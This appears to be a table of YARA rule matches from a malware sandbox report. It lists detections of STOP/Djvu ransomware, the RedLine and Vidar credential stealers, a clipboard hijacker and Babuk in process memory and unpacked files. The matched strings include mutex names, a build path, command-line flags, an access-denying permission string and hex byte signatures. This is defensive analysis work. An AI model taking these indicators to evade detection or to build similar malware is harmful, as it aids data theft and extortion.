00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000017.00000002.2073412438.00000000041E0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000007.00000002.1751059167.0000000001B1E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1168:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001C.00000002.3045395033.0000000000AA0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x708c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.1677904681.00000000041D2000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000002.2401128925.0000000000960000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7034:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.1907718184.000000000091D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x756c:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000013.00000002.2008242016.0000000000B8C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x76cc:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: lzShU2RYJa.exe PID: 7328	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7328	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3cd4e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7344	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7344	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x33ad5:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7448	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7448	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3105c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7464	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7464	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7464	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x7df396:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7472	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7472	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3f1f5:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7540	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7540	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7540	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x32afc:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 7648	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7664	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 7664	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7780	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7780	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4320c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7832	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7832	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x33b3c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7320	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7320	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4c8dd:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lzShU2RYJa.exe PID: 7432	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: lzShU2RYJa.exe PID: 7432	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x42af8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 89 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.mstsca.exe.9215a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
19.2.mstsca.exe.9215a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.9215a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
